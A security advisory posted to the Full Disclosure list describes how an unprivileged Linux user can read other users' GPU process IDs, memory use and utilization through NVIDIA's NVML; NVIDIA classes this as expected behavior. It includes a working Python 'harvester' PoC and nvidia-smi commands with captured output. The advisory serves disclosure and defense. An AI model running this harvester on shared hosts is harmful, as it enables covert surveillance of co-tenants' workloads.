NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)

[Abhinav Agarwal <abhinavagarwal1996 () gmail com>]

NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML
============================================================================

On a multi-user Linux GPU host where mutually untrusted users can open
the same /dev/nvidia* devices - the driver's default mode is 0666 - an
unprivileged user can enumerate another user's GPU processes and
per-process GPU telemetry through standard NVML management APIs. NVML
directly returned the foreign PID, the per-process GPU-memory
allocation and the SM utilization; nvidia-smi additionally displayed
the process path, but the corresponding direct
nvmlSystemGetProcessName() call was not captured. Measured on one
configuration: A100, MIG off, bare metal, two local UIDs. No root, no
gpu/video/render group membership, no capabilities, no CUDA context of
the attacker's own, no performance counters, no injected traffic, no
race. The attacker learns, for processes belonging to other users:
PID, per-process GPU memory allocation, per-process SM utilization,
and - via nvidia-smi - the binary path. Read-only workload metadata;
no GPU memory contents are read. NVIDIA reviewed the finding and
determined it is expected behavior.

Affected: NVIDIA Linux GPU driver, NVML management plane
Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9
(driver-reported runtime 13.2)
CWE: CWE-200 (exposure of information to an unauthorized actor),
CWE-862 (missing authorization)
Status: Closed by NVIDIA as expected behavior. No fix. Public
disclosure authorized by NVIDIA PSIRT 2026-08-20.
CVE: none assigned
Ref: Intigriti NVIDIA-W5AB0FZR
Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via
undocumented peer-teardown ordering" - same node, same driver, same
0666 precondition


Root Cause
----------

Two independent facts compound.

(a) /dev/nvidia* is mode 0666 by driver default. This is set by the
kernel module, not by a site udev rule.

# grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly'
/proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438
RmProfilingAdminOnly: 1

438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module
rewrites existing device files to match its own defaults, so an
administrator who tightens the mode out-of-band can have it reverted
on module reload. The vendor sources agree: open-gpu-kernel-modules
carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in
kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666
(octal, rw-rw-rw-)", and the driver README "Device files" section
documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing
device files are changed if their attributes don't match these
defaults."

(b) NVML management APIs apply no UID, cgroup, or capability check to
a caller holding that file descriptor. Any opener receives the
node-wide management view.

+------------------+ +-------------------+
| victim uid 1000 | | attacker uid 1011 |
| CUDA workload | | no groups, Cap=0 |
+--------+---------+ +---------+---------+
| |
| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)
v v
+-----------------------------------------------------------------------+
| nvidia.ko -> NVML management plane |
| |
| nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids |
| nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids |
| ^ |
| +--- no ownership check anywhere on this path|
+-----------------------------------------------------------------------+

NVML already has the concept of privilege-gating this exact call -
just not in ordinary shared-GPU mode. From nvml.h, on both
nvmlDeviceGetComputeRunningProcesses_v3 and
nvmlDeviceGetMPSComputeRunningProcesses_v3:

"In MIG mode, if device handle is provided, the API returns aggregate
information,
only if the caller has appropriate privileges."

So under MIG, process enumeration through the physical-device handle
is privilege-gated. Outside MIG there is no corresponding UID
ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3
documents NVML_ERROR_NO_PERMISSION in its return list and does not
return it here; nvmlDeviceGetProcessUtilization and
nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error
at all.

Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI
performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact
node - that gate was added as the fix for CVE-2018-6260. The NVML
per-process management plane received no equivalent gate. That
asymmetry is the finding.


Attacker Prerequisites
----------------------

A shell account on the node. The observer used for all captured runs:

uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)

CapInh: 0000000000000000 -> NONE
CapPrm: 0000000000000000 -> NONE
CapEff: 0000000000000000 -> NONE
CapAmb: 0000000000000000 -> NONE
CapBnd: 000001ffffffffff

No sudo. Not in sudo/wheel/admin/docker/video/gpu/render.
No Docker socket. Cannot load kernel modules. Cannot ptrace other
users' processes.


Proof of Concept
----------------

Victim, uid 1000 - any long-running CUDA workload. The captured runs
used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a
CUDA context works; this needs only pytorch:

python3 -c "import torch,time
x=torch.randn(8192,8192,device='cuda')
while True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)"

Attacker, uid 1011, via the shipped CLI:

nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory
--format=csv,noheader
nvidia-smi pmon -c 3
nvidia-smi nvlink -gt d

That first command, run by an unprivileged user with no group
membership, is the entire exploit. Everything below is the same read
straight through NVML. Captured output as uid 1011 against the uid
1000 victim:

pid, process_name, used_gpu_memory [MiB], gpu_uuid
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-fe44d319-939f-d747-de55-6802405cad8d

Full PoC code, harnesses and raw evidence for both findings:
<https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E>

Straight through NVML with no nvidia-smi involved. This is the complete exploit:

#!/usr/bin/env python3
# unprivileged cross-UID GPU telemetry harvester
# run as any local user: python3 harvest.py
# pip install nvidia-ml-py (provides the `pynvml` module; the standalone
# `pynvml` PyPI package is a deprecated shim as of v12)
import os, pwd, pynvml

def owner(pid):
try: return os.stat("/proc/%d" % pid).st_uid
except: return None

def exe(pid):
# Tries NVML first. NOTE: this direct call was not verified cross-UID here -
# see the note below the output. Falls back to cmdline, never to exe.
try:
n = pynvml.nvmlSystemGetProcessName(pid)
return n.decode() if isinstance(n, bytes) else n
except Exception:
# /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other
# users' command lines. /proc/<pid>/exe is NOT: readlink on it needs
# PTRACE_MODE_READ, which this attacker does not have.
try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode()
except: return "?"

def owner_name(u):
try: return pwd.getpwuid(u).pw_name
except KeyError: return str(u) # no passwd entry: LDAP, containers

pynvml.nvmlInit()
me = os.getuid()
found = 0
for i in range(pynvml.nvmlDeviceGetCount()):
h = pynvml.nvmlDeviceGetHandleByIndex(i)

# cross-UID process table + per-process GPU memory
for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):
u = owner(p.pid)
if u is not None and u != me:
found += 1
print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % (
i, p.pid, u, owner_name(u),
(p.usedGpuMemory or 0) >> 20, exe(p.pid)))

# cross-UID per-process SM / memory-controller utilization.
# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are
# returned, so a small constant drains everything the driver still buffers.
try:
for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):
u = owner(pu.pid)
if u is not None and u != me:
print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % (
i, pu.pid, u, pu.smUtil, pu.memUtil))
except pynvml.NVMLError as e:
# NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty,
# NOT that the call is gated. Poll for a few seconds and retry.
print(" nvmlDeviceGetProcessUtilization -> %s" % e)

# device-global telemetry, no gate at all
print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % (
i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,
pynvml.nvmlDeviceGetUtilizationRates(h).gpu,
pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20))

if not found:
print("no cross-UID GPU processes visible (is a victim workload running?)")

Output:

[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%

NVML supplies the PID and the GPU memory figure. The binary path came
from nvidia-smi --query-compute-apps=process_name, which is
NVML-backed and returned the full path /usr/local/bin/all_reduce_perf
to the unprivileged observer - that output is captured. The direct
call, nvmlSystemGetProcessName(), is what the PoC above uses and it is
NOT something I captured cross-UID; NVML documents
NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather
than taking it from me. The captured harness resolved names through
/proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you
fall back to procfs use /proc/<pid>/cmdline, not exe. The only field
procfs is needed for is the owning UID, via stat() on /proc/<pid>.

Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim
SM utilization time series. What that supports on the evidence here is
busy-versus-idle and job start/stop. Finer structure - step cadence,
phase boundaries - is plausible but was not demonstrated, and I do not
claim it.

Results: 5/5 positive sessions with all seven machine-scored success
criteria passing, and 2/2 negative controls (no victim workload, no
cross-UID records) confirming the signal tracks the victim. For every
compute-app row root could see, the unprivileged observer saw a
matching row - same PID, same binary name, same GPU - in all five
positive sessions. That comparison is field-level (whitespace and row
order normalized, process name compared by basename), not a byte diff.
All channels leak with GPU accounting mode disabled, which is the
fresh default, so this is not a case of an administrator having
enabled accounting.


Telemetry Channels
------------------

Channel NVML API CLI Result
----------------------------- ---------------------------------------
---------------------- --------------------------
Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps
LEAKS (redundant with ps)
Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS
(captured); direct
(nvmlSystemGetProcessName NOT captured) NVML call unverified
Per-process GPU memory nvmlDeviceGetComputeRunningProcesses
--query-compute-apps LEAKS - GPU-specific
Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS
- GPU-specific
NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink
-gt d LEAKS via CLI - prior art
NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS
Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)


Impact
------

A low-privileged tenant on a shared HPC or AI node passively monitors
co-tenants in real time: who is running GPU work, which binary, the
GPU memory footprint (a model-size proxy), the SM utilization timeline
(training and idle cadence, step rate, job boundaries), and NVLink
pair activity (distributed job topology).

No computation content is read - no weights, activations, input data,
or GPU memory contents.


Real-World Exposure
-------------------

The precondition - multiple mutually-untrusting Unix UIDs sharing one
GPU host - is not an edge case.

NERSC's Perlmutter (6,144 A100s) runs an explicit "shared" QOS that
allocates fractional GPU, CPU and RAM per job on a node. EuroHPC
LUMI's small-g partitions state that a job "may share the node with
other jobs". Multi-tenant JupyterHub on GPU nodes is a pattern
documented by cloud vendors.

Container-based GPU rental is a partial case, and I want to be exact
about which part. Linux device-node permission bits are enforced
against the host inode regardless of which container namespace calls
open(2), so a co-resident container can open the device and read the
management plane. But the per-process channels - the novel part of
this finding - were empty inside a default-PID-namespace container in
my own testing. What a co-resident container gets by default is
device-scoped telemetry: NVLink counters identifying the active GPU
pair, power, clocks, utilization. Full per-process attribution needs
--pid=host or bare metal. I did not test two containers sharing one
physical GPU, which is the configuration that would matter most here,
so I make no claim about it.

Kubernetes GPU sharing compounds this. NVIDIA's own GPU Operator
documentation states that with time-slicing "there is no memory or
fault-isolation between replicas". GKE exposes the same feature, with
an admin-configured container count per physical GPU - and states
plainly, in its own Limitations section, "To avoid security issues,
only deploy workloads that are in the same trust boundary to GPU
time-sharing." That caveat is honest and worth repeating: the argument
here is not that GKE promises isolation it fails to deliver, it is
that the driver supplies no floor beneath the operator's policy.

Slurm makes the same trade explicitly. Its GRES documentation says
sharding "does not fence the processes running on the GPU, it only
allows the GPU to be shared", and cgroup.conf's ConstrainDevices
defaults to no. A default NVIDIA install and a default Slurm cgroup
configuration compose into no GPU device isolation; hardening is an
explicit opt-in.

Device cgroups cannot fix any of this. When two tenants are
intentionally assigned the same GPU, both must be able to open the
same device node - that is the feature. The only boundary that would
separate them is owner-filtering inside the management plane.

One nuance that cuts against a naive MPS reading: NVIDIA documents
that "All MPS client behavior will be attributed to the MPS server
process by system monitoring and accounting tools (e.g. nvidia-smi,
NVML API)", so the ordinary process query collapses MPS clients into
the server row. Whether nvmlDeviceGetMPSComputeRunningProcesses_v3
returns per-client records to an unprivileged caller is untested here.

What the metadata is worth: process table, binary path, per-process
GPU memory and SM utilization is the input class used in published DNN
architecture and model-extraction work - for example InferNet (ACM
TOPS), which reports fingerprinting DNN architectures from GPU
side-channel telemetry. I have not verified which specific channels it
consumes. More directly on point, TIMESLICE-SANDWICH (USENIX Security
2026) recovers neural-network model identity at 94.40% F1 and does
website fingerprinting at 92.84% top-1 - by INFERRING GPU utilization
patterns indirectly from CUDA runtime API timing. Those numbers are
theirs and are not claimed to transfer to this channel. The relevance
is the direction of travel: if indirectly inferred utilization already
supports that, per-victim utilization handed over directly by the
driver warrants scrutiny.

Not affected: dedicated cloud GPU VM instances (one tenant, one
kernel, no shared device node), single-user workstations, and
node-exclusive HPC allocations. MIG is not on this list - see "What Is
Not Claimed" below.

Not established: what fraction of GPU-hours actually run in
co-resident cross-user mode. No public figure exists for that.


What Is Not Claimed
-------------------

- PID and binary path are largely redundant with ps(1) on any node
where /proc is not hidepid-mounted. The GPU-specific residue with no
non-GPU equivalent is the per-process GPU memory and per-process SM
utilization attribution.

- The NVLink channels are corroboration only, not novelty.
Counter-based activity inference is prior art - NVBleed
(arXiv:2503.17847) and "Beyond the Bridge" (IEEE SEED 2024,
arXiv:2404.03877). The demonstrated counter path is the nvidia-smi
nvlink -gt d CLI, not nvmlDeviceGetNvLinkUtilizationCounter, which
returned NVML_ERROR_NOT_SUPPORTED on 595.71.05-open;
nvmlDeviceGetNvLinkRemotePciInfo did work and exposes the peer map. A
pre-registered blind experiment gave a coarse idle-versus-active
separation with zero overlap and a pre-registered 3-class accuracy of
66.7% against 33.3% chance. No fine-grained inference claim is made.

- MIG was off. Cross-MIG-instance process-table visibility is UNKNOWN
and is claimed neither way. NVIDIA's MIG User Guide states "NVML (and
nvidia-smi) does not support attribution of utilization metrics to MIG
devices", so MIG should not be assumed to solve this.

- Same-physical-GPU container co-tenancy is untested. Measured with
disjoint GPU assignment:

Container config Process identity NVLink + device state
-------------------------------------- -----------------------
---------------------
bare metal LEAKS cross-UID LEAKS (all 4 GPUs)
--gpus all (default PID ns) masked by PID namespace LEAKS (all 4 GPUs)
--gpus all --pid=host LEAKS LEAKS (all 4 GPUs)
--gpus '"device=0"', victim on GPU2/3 BLOCKED BLOCKED
no --gpus n/a BLOCKED

"masked by PID namespace" means the per-process channels are empty,
not merely unresolvable: inside a default-PID-namespace container,
--query-compute-apps and pmon returned no rows at all. What still
crosses that boundary is per-device telemetry - NVLink Tx/Rx counters,
power, clocks, device-wide utilization - which identifies the active
GPU pair but attributes nothing to a process. Per-process attribution
requires bare metal or --pid=host.

- Behaviour under /proc mounted hidepid=2 was not tested. The
prediction is that UID attribution fails while the NVML-sourced fields
survive, which would make the GPU-specific residue larger on hardened
nodes rather than smaller. That is a prediction, not a result;
poc/hidepid_test.sh in the repo exists to settle it.

- Read-only. No write, integrity, or availability impact.

- This is a direct API read, not a timing or contention side channel.


Severity
--------

NVIDIA's position is that this is expected behavior, so on their view
there is no score. Mine:

3.3 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N what the demonstrated exposure supports
5.5 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N if the aggregate is credited
as high confidentiality

3.3 is the defensible number. 5.5 treats process identity plus
resource attribution as C:H, which is arguable in both directions; it
is the exact NVD vector of CVE-2018-6260. I previously floated an S:C
ceiling and have dropped it - reading across a UID boundary does not
by itself make CVSS Scope Changed.


Precedent
---------

CVE-2018-6260 ("Rendered Insecure: GPU Side Channel Attacks are
Practical") is the same structural class: an unprivileged local user
reads GPU-mediated information about another workload. NVIDIA fixed it
in-driver with a capability gate - NVreg_RestrictProfilingToAdminUsers
on Linux, RmProfilingAdminOnly on Windows - restricting
performance-counter access to CAP_SYS_ADMIN, shipped in the 410.x
series.

CVE-2021-1056, CWE-276: "does not completely honor operating system
file system permissions to provide GPU device-level isolation, which
may lead to denial of service or information disclosure."

NVD scored CVE-2018-6260 5.5; NVIDIA's own CNA score for it was 2.2.
For CVE-2021-1056, NVD 7.1 against NVIDIA's 5.3. Cited for the fix
obligation and the gate design, not for severity.

The counter plane received an ownership gate. The NVML per-process
management plane did not.


Suggested Fix
-------------

Extend the RmProfilingAdminOnly authorization model to the NVML
management plane: owner-filter nvmlDeviceGetComputeRunningProcesses
and nvmlDeviceGetProcessUtilization so that an unprivileged caller
sees only its own processes unless it holds CAP_SYS_ADMIN or an
explicitly delegated monitoring role. Declined.



Vendor Response
---------------

NVIDIA had its internal product team review the finding and classified
it as expected behavior, declining to treat it as a vulnerability.
NVIDIA PSIRT, 2026-08-20:

"We had our internal product team review your finding directly and we
consider your report as
expected behavior. We are also making a one-time exception and
authorizing you to share your
findings publicly, if you wish."

The report was never forwarded to NVIDIA by Intigriti. It was closed
Informative, disclosure permission was refused, and no embargo period
or path to obtaining permission was specified - an indefinite bar on
publication for a report the vendor had not seen. Intigriti team,
2026-06-23:

"As the report will not be forwarded to Nvidia at this time,
disclosure is not permitted on
their end, and there is currently no specified embargo period before
permission is granted."

NVIDIA reviewed the finding and authorized publication within three
business days of being contacted directly.


Timeline
--------

2026-06-08 Reported via Intigriti (NVIDIA-W5AB0FZR)
2026-06-15 Intigriti team requests a video PoC
2026-06-21 Video PoC and minimal triage bundle provided
2026-06-22 Intigriti closes the report Informative: "we do not have
sufficient technical details to reproduce the finding on our end"
2026-06-22 I state intent to publish
2026-06-22 Intigriti: disclosure not permitted absent approval from
both platform and vendor
2026-06-23 I request approval or a concrete embargo timeline
2026-06-23 Intigriti: report will not be forwarded to NVIDIA,
disclosure is not permitted, and there is indefinite embargo
2026-07-08 Report archived
2026-08-17 Direct mail to psirt () nvidia com raising the CVD concern
2026-08-20 NVIDIA PSIRT: internal product team reviewed the finding
directly, considers it expected behavior, and authorizes public
disclosure as a one-time exception
2026-08-22 Public disclosure


All testing was performed on researcher-controlled accounts and
workloads on an authorized research cluster lease.
PoC:https://github.com/abhinavagarwal07/nvidia-gpu-security-poc

Abhinav Agarwal
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/